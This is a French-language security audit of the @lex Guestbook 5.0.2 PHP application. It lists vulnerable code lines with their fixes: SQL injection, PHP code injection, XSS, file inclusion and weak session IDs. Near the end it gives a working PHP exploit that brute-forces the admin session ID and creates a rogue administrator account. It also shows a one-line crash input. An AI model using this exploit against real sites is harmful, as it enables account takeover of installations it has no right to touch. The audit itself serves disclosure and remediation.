====Zenk Roulette 3 : Alex Guestbook Version 5.0.2==== **Date :** Samedi 6 Aout 2011 20H **Application auditée :** @lex Guestbook **URL :** http://www.alexguestbook.net/ **Lien de téléchargement :** http://www.alexguestbook.net/tele_agb.html **Plateforme :** PHP, MySQL **Les participants :** Burner, Essandre, Ganapati, Sanguinarius, Sebdraven ==Le coeur du sujet== -------------------------------------------------------------------------------------------- **Path du fichier :** /modif_mess.php **Type de Faille :** Injection de code SQL **Ligne :** 68 sql_select_query("*", "alex_livre_messages", "WHERE id=".$_GET['id_mess']); **Correctif :** Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['id_mess'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable. -------------------------------------------------------------------------------------------- **Path du fichier :** /repondre.php **Type de Faille :** Injection de code SQL **Ligne :** 62 sql_select_query("*", "alex_livre_messages", "WHERE id=".$_GET['id_mess'], "", "", true); **Correctif :** Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['id_mess'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable. -------------------------------------------------------------------------------------------- **Path du fichier :** /index.php **Type de Faille :** Injection de code SQL **Ligne :** 102 sql_select_query("*", "alex_livre_messages", $where, "ORDER BY time DESC", "LIMIT ". $_GET['debut'].",".$config['nb_pages'], true); **Correctif :** Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['debut'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable. -------------------------------------------------------------------------------------------- **Path du fichier :** /boiteJava/index.php **Type de Faille :** Simple bug **Ligne :** 14 if (!isset($_GET['n']) || !(int)trim($_GET['n'])) $_GET['n'] = 5; else $_GET['n'] = (int)trim($_GET['n']); **Correctif :** Le script ne vérifie pas le type de la variable, ce qui implique qu'il réagit mal si l'on lui passe en paramètre un float ou une valeur négative. -------------------------------------------------------------------------------------------- **Path du fichier :** /setup.php **Type de Faille :** Injection de Code PHP **Ligne :** 89-97 $write_object2 -> save_donnees("\$f_mysql_host = '".$_POST['host']."';"); $write_object2 -> save_donnees("\$f_mysql_user = '".$_POST['user']."';"); $write_object2 -> save_donnees("\$f_mysql_pass = '".$_POST['pass']."';"); $write_object2 -> save_donnees("\$f_mysql_base = '".$_POST['nom_base']."';\n"); .... **Correctif :** Les variables n'étant pas filtrées et le fichier setup.php pas supprimé automatiquement, il devient possible d'écrire du code PHP exécutable. -------------------------------------------------------------------------------------------- **Path du fichier :** /add_message.php **Type de Faille :** Mail injection **Ligne :** 198 envoyer_mail($alex_livre_users_email[$i], $f_lang['mail_object']. $_SERVER["SERVER_NAME"], $f_lang['mail_message'].'http://'. $_SERVER['HTTP_HOST'].dirname($config['fichier_inclusion'])." :\r\n\r\n-------------------------------------------\r\n".trim($chaine_message)."\r\n---------------------------- ---------------\r\n\r\nPowered by @lex Guestbook ".$alex_livre_version." - http://www.alexguestbook.net/", $entetemail); **Correctif :** La variable $_SERVER['HTTP_HOST'] n'est pas filtrée, il devient donc possible d'injecter du code html. -------------------------------------------------------------------------------------------- **Path du fichier :** /admin/titre.php **Type de Faille :** Injection de code javascript **Ligne :** 39 if (!$nbTest){ $query = "INSERT INTO ".$name_table['alex_livre_txt_lang']." (`lang`, `type`, `msg`) VALUES ('".$_GET['lang_edit']."', 'titre', '".$_POST['titre']."')"; $result = $f_db_connexion -> sql_query($query); } else { $query = "UPDATE ".$name_table['alex_livre_txt_lang']." SET `msg`='".$_POST['titre']."' WHERE `lang`='".$_GET['lang_edit']."' and `type`='titre'"; $result = $f_db_connexion -> sql_query($query); } **Correctif :** La variable $_POST['titre'] n'est pas filtrée et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer cette variable avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur. -------------------------------------------------------------------------------------------- **Path du fichier :** /include/funct_utiles.php **Type de Faille :** Faiblesse sur la génération du sid **Ligne :** 11 function alex_livre_sid(){ mt_srand((double)microtime()*1000000); return md5(mt_rand(0,9999999)); } **Correctif :** La génération du SID est relativement faible, en effet il devient possible de récupérer le SID administrateur en quelques secondes, puisqu'il ne s'agit que du MD5 d'une valeur numérique ne pouvant pas dépasser 9999999. -------------------------------------------------------------------------------------------- **Path du fichier :** /index.php **Type de Faille :** Fuite d'information **Ligne :** 85 $_GET['mots_search'] = stripslashes(trim(strip_tags(urldecode($_GET['mots_search'])))); **Correctif :** Aucune vérification sur le type de donnée est effectué sur la variable $_GET['mots_search'], il est possible à partir de là, de faire planter le script en lui faisant passer un array en paramètre comme ceci: index.php?mots_search[]= Il est donc nécessaire de vérifier que ce n'est pas un array avec la fonction is_array, avant de le passer en paramètre à des fonctions qui ne traitent pas ce type de donnée. -------------------------------------------------------------------------------------------- **Path du fichier :** /admin/titre.php et /admin/rep_auto.php **Type de Faille :** Inclusion de fichier **Ligne :** 18 include($chem_absolu."config/extension.inc"); include($chem_absolu."include/admin_include.".$alex_livre_ext); **Correctif :** Il est possible de contourner la fonction file_exists en prenant partie d'un nullbyte, ce qui peut permettre d'inclure d'autre fichier présent sur le serveur. Il devient donc possible à partir du service d'upload d'avatar d'exécuter du code php en incluant une de ces images spécialement forgé à cet effet. -------------------------------------------------------------------------------------------- **Path du fichier :** /boiteJava/index.php **Type de Faille :** Injection de code javascript **Ligne :** 60 else $value_url_livre = findHost().$url_recharger; **Correctif :** La variable $url_recharger n'est pas filtrée et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer cette variable avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur. -------------------------------------------------------------------------------------------- **Path du fichier :** /index.php **Type de Faille :** Deni de service **Ligne :** 84 if (isset($_GET['mots_search']) && $_GET['mots_search'] && $config['ok_aff_moteur']){ $_GET['mots_search'] = stripslashes(trim(strip_tags(urldecode($_GET['mots_search'])))); $mots_nettoyes = nettoyer_car(noaccents(strtolower($_GET['mots_search']))); $tab_mots_cles = explode(" ", $mots_nettoyes); /* création de la requète WHERE */ if ($mots_nettoyes) $nb_mots_cles = count($tab_mots_cles); $where .= " and ("; for ($i = 0; $i < $nb_mots_cles; $i++){ $where .= "nom LIKE '%".$tab_mots_cles[$i]."%' OR message LIKE '%". $tab_mots_cles[$i]."%'"; if (($i + 1) < $nb_mots_cles) $where .= " OR "; } if ($mots_nettoyes) $where .= ")"; **Correctif :** De plus de la fuite d'information au niveau de la variable $_GET['mots_search'] comme nous l'avons vu juste au-dessus, il y a le problème que si l'on déclare cette variable en tant que array depuis l'url, la variable $nb_mots_cles n'est plus déclarée puisque $mots_nettoyes vaut false, la condition n'est donc pas confirmée. A ce moment là, si l'option register_globale est activé, il devient possible d'agir sur l'alias de la variable $nb_mots_cles depuis une super-globale et donc de lui attribuer un nombre de très grande taille, ce qui aura pour effet de réaliser une boucle immense, demandant des resources considérables autant pour le serveur SQL qui devra exécuter la requete SQL juste après, que le moteur de PHP. **La boucle en question:** for ($i = 0; $i < $nb_mots_cles; $i++){ $where .= "nom LIKE '%".$tab_mots_cles[$i]."%' OR message LIKE '%". $tab_mots_cles[$i]."%'"; if (($i + 1) < $nb_mots_cles) $where .= " OR "; } -------------------------------------------------------------------------------------------- **Path du fichier :** /index.php **Type de Faille :** Injection de code SQL **Ligne :** 85 $_GET['mots_search'] = stripslashes(trim(strip_tags(urldecode($_GET['mots_search'])))); $mots_nettoyes = nettoyer_car(noaccents(strtolower($_GET['mots_search']))); $tab_mots_cles = explode(" ", $mots_nettoyes); **Correctif :** Dans l'ensemble de l'application la totalité des variable $_GET et $_POST sont filtrées de tel sorte à qu'il ne soit pas possible de réaliser une injection de code SQL dans le cas ou la variable serait entouré par des apostrophe dans la requête SQL. Dans notre cas, la variable $_GET['mots_search'] est bien filtrée au début du code, mais comme nous pouvons le constater, les slashes qui ont permis de filtrer la variable en echappement certains carractère indésirables, ont été rétirés à cause de l'utilisation de la fonction stripslashes(). Il devient donc possible de sortir des apostrophes et de réaliser notre injection SQL depuis la variable $_GET['mots_search']. -------------------------------------------------------------------------------------------- **Path du fichier :** /index.php **Type de Faille :** Injection de code javascript **Ligne :** 193 $urlExtAdd = "&mots_search=".urlencode(@$_GET['mots_search'])."&lang=".@$config['langue']."&a mp;skin=".@$_GET['skin']."&seeAdd=".@$_GET['seeAdd']."&seeNotes=".@$_GET['se eNotes']."&seeMess=".@$_GET['seeMess']."&".$config['extension_url']; **Correctif :** Les variables $_GET['seeAdd'], $_GET['seeNotes'] et $_GET['seeMess'] ne sont pas filtrés et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer ces variables avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur. ===Les exploits=== ==Session stealing== /* ========================================================= Alex GuestBook Session stealing ========================================================= # Exploit Title: Session stealing + administrator account creation # Date: 07/08/2011 # Author: Zenk-Security # Software Link: http://www.alexguestbook.net/ # Version: 5.0.2 # Category: webapplications # Thanks to all contributors : Burner, EsSandre, Ganapati, Sanguinarius and Sebraven. */ set_time_limit(0); // new admin account define('USER', 'new_account'); define('PASS', 'password'); define('MAIL', 'fake@mail.fr'); // Information of the web application define('URL', 'http://localhost/'); define('PATH_APPLICATION', 'agb/'); $url = URL.'/'.PATH_APPLICATION; // Bruteforce session admin print "[*] Bruteforce de l'ID de session admin \n"; for ($i = 0; $i < 9999999; $i++) { $hash_sid = md5($i); $file = file_get_contents($url.'admin/options.php?f_sid='.$hash_sid); if (strstr($file, 'Options du livre d\'or')) { break; } } // Configure the query print "Session ID : ".$hash_sid."\n"; $infos = array('name_admin' => USER, 'passe_admin' => PASS, 'email_admin' => MAIL, 'receive_email' => '1', 'modif_options' => '1', 'gestion_skins' => '1', 'gestion_reponse_auto' => '1', 'gestion_bdd' => '1', 'gestion_messages' => '1', 'gestion_censure' => '1', 'gestion_bannissement' => '1', 'gestion_smileys' => '1', 'gestion_admin' => '1', 'ajouter' => 'Ajouter' ); // create header $context = stream_context_create (array( 'http' => array( 'method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'content' => http_build_query($infos) ))); // Send request with cracked session id $file = file_get_contents($url.'admin/add_admin.php?f_sid='.$hash_sid.'&id_modif=', false, $context); if (strstr($file, 'alert("ERREUR\nCe login existe')) die( "Erreur : Cet utilisateur est déjà existant\n"); else if (strstr($file, 'alert("Merci')) exit ("Votre compte à été crée correctement.\n"); else exit ("Une erreur est survenue pendant l'ajout du compte administrateur\n"); ?> **Blind SQL Injection :** **Derniers conseils:** - Liste numérotéeDésactiver les register_globale, qui mettent l'application en premier plan pour les problèmes de sécurité. - Liste numérotéeLes mots de passe sont en clair, il est conseillé d'utiliser un système de hash fort (SHA512 + Salt ?) - Liste numérotéeDepuis la version 5.3.0 de PHP, les fonctions basées sur eregi sont déconseillés d'utilisation dut à leur problème de sécurité majeur. Il est aujourd'hui recommandé d'utiliser ses équivalents basés sur preg_match.